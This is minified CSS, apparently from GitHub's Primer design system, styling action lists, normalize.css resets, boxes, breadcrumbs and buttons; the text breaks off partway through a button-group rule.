.ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected 